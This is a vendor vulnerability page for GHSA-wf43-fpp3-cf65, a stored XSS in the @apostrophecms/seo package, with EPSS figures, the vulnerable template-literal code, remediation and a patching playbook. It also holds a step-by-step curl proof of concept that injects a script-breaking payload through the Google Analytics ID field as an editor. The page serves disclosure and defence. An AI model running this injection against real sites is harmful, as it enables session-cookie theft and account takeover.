Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-wf43-fpp3-cf65

HIGHFix: apostrophecms/apostrophe#5464

GHSA-wf43-fpp3-cf65 is a high-severity (CVSS 8.7) Cross-site Scripting (XSS) vulnerability in @apostrophecms/seo. O3 Security confirms whether GHSA-wf43-fpp3-cf65 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

@apostrophecms/seo Vulnerable to Stored XSS via Unsanitized Google Analytics / GTM ID Injected into Script Tag

Also known asCVE-2026-53608
Published
Jul 31, 2026
Updated
Jul 31, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 6, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs11th percentile — riskier than 11% of all scored CVEsHighest risk
0.00%0.24%0.47%0.71%0.2%0.2%0.2%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-wf43-fpp3-cf65 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 365,017 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
📦@apostrophecms/seo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects npm packages — download data is not available via public APIs for these ecosystems.

Description

<img width="1919" height="1046" alt="curl" src="https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6" /> <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d" />

Summary

The @apostrophecms/seo package injects the Google Analytics Tracking ID (seoGoogleTrackingId) and Google Tag Manager ID (seoGoogleTagManager) directly into <script> tag bodies using JavaScript template literals without any sanitization or validation.

Any user with editor-level access (the default role for content managers) can set these fields to a malicious value, resulting in stored XSS that executes on every page for every visitor of the site.

Details

The vulnerable code is in node_modules/@apostrophecms/seo/lib/nodes.js.

Google Analytics (lines 218–224):

// seoGoogleTrackingId is inserted RAW into a <script> body — no escaping, no validation
body: [ {
  raw: `
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());
  gtag('config', '${global.seoGoogleTrackingId}');
`
} ]

Google Tag Manager (lines 358–362):

body: [ {
  raw: `(function(w,d,s,l,i){...})(window,document,'script','dataLayer','${global.seoGoogleTagManager}');`
} ]

These nodes are rendered by renderNodes() in ApostropheCMS core (modules/@apostrophecms/template/index.js lines 1176–1177):

if (node.raw != null) {
  return node.raw;  // returned verbatim, no escaping
}

The fields seoGoogleTrackingId and seoGoogleTagManager are defined as plain type: 'string' values with no pattern, minimum length, or maximum length validation in seo-fields-global/index.js lines 347–352.

ApostropheCMS's permission model (@apostrophecms/permission/index.js line 121) grants editor-level users the ability to edit and publish the global singleton, meaning a contributor does not need administrator access to exploit this issue.

PoC

Prerequisites: ApostropheCMS with @apostrophecms/seo installed and seoGoogleAnalytics: true enabled in module options. An editor-level account.

Step 1 — Login as editor

curl -s -X POST http://TARGET/api/v1/@apostrophecms/login/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"editor","password":"password"}'

Response:

{"token":"YOUR_TOKEN"}

Step 2 — Get the global document ID

curl -s -H "Authorization: Bearer YOUR_TOKEN" \
  http://TARGET/api/v1/@apostrophecms/global

Note the _id value ending in :en:draft.

Step 3 — Inject payload into Google Analytics ID

curl -s -X PATCH "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID" \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{"seoGoogleTrackingId":"G-FAKE'"'"'); alert(document.cookie); //"}'

Step 4 — Publish

curl -s -X POST "http://TARGET/api/v1/@apostrophecms/global/GLOBAL_DRAFT_ID/publish" \
  -H "Authorization: Bearer YOUR_TOKEN"

Step 5 — Visit any page

The injected payload appears in <head> and executes:

<script>
  gtag('config', 'G-FAKE'); alert(document.cookie); //');
</script>

Impact

This is a Stored Cross-Site Scripting (XSS) vulnerability.

Any user with the editor role (the standard content management role in ApostropheCMS) can inject arbitrary JavaScript that executes for every visitor on every page of the site.

Impact includes:

  • Session token theft of all visitors, including other editors and administrators
  • Full account takeover via stolen administrator cookies
  • Malware distribution, phishing overlays, or credential harvesting targeting site visitors
  • Persistent compromise, as the payload remains active until manually removed

Remediation

Validate the tracking ID fields against their expected formats before storage, and escape values before inserting them into script bodies.

// Validate format before accepting
if (value && !/^(G-|UA-|GTM-)[A-Z0-9-]+$/i.test(value)) {
  throw new Error('Invalid tracking ID format');
}
// Use safeJsonForScript instead of raw template literals
body: [ { json: global.seoGoogleTrackingId } ]

Or:

// Escape the value before insertion
raw: `gtag('config', ${JSON.stringify(global.seoGoogleTrackingId)});`
<img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/4f1d6708-093a-4f74-828b-937dbeab62e8" />

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@apostrophecms/seoall versions1.5.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @apostrophecms/seo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @apostrophecms/seo to 1.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wf43-fpp3-cf65 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-wf43-fpp3-cf65 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-wf43-fpp3-cf65. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

<img width="1919" height="1046" alt="curl" src="https://github.com/user-attachments/assets/8aa19ff1-7f4b-44ee-83d5-d0dd1a0269f6" /> <img width="1919" height="775" alt="xss" src="https://github.com/user-attachments/assets/a65012e8-9b2f-416f-94df-c00493f2ca1d" /> ### Summary The `@apostrophecms/seo` package injects the Google Analytics Tracking ID (`seoGoogleTrackingId`) and Google Tag Manager ID (`seoGoogleTagManager`) directly into `<script>` tag bodies using JavaScript template literals without any sanitization or validation. Any user with editor-level access (the default role for content
O3 Security · Impact-Aware SCA

Is GHSA-wf43-fpp3-cf65 in your dependencies?

O3 detects GHSA-wf43-fpp3-cf65 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-wf43-fpp3-cf65: @apostrophecms/seo… | O3 Security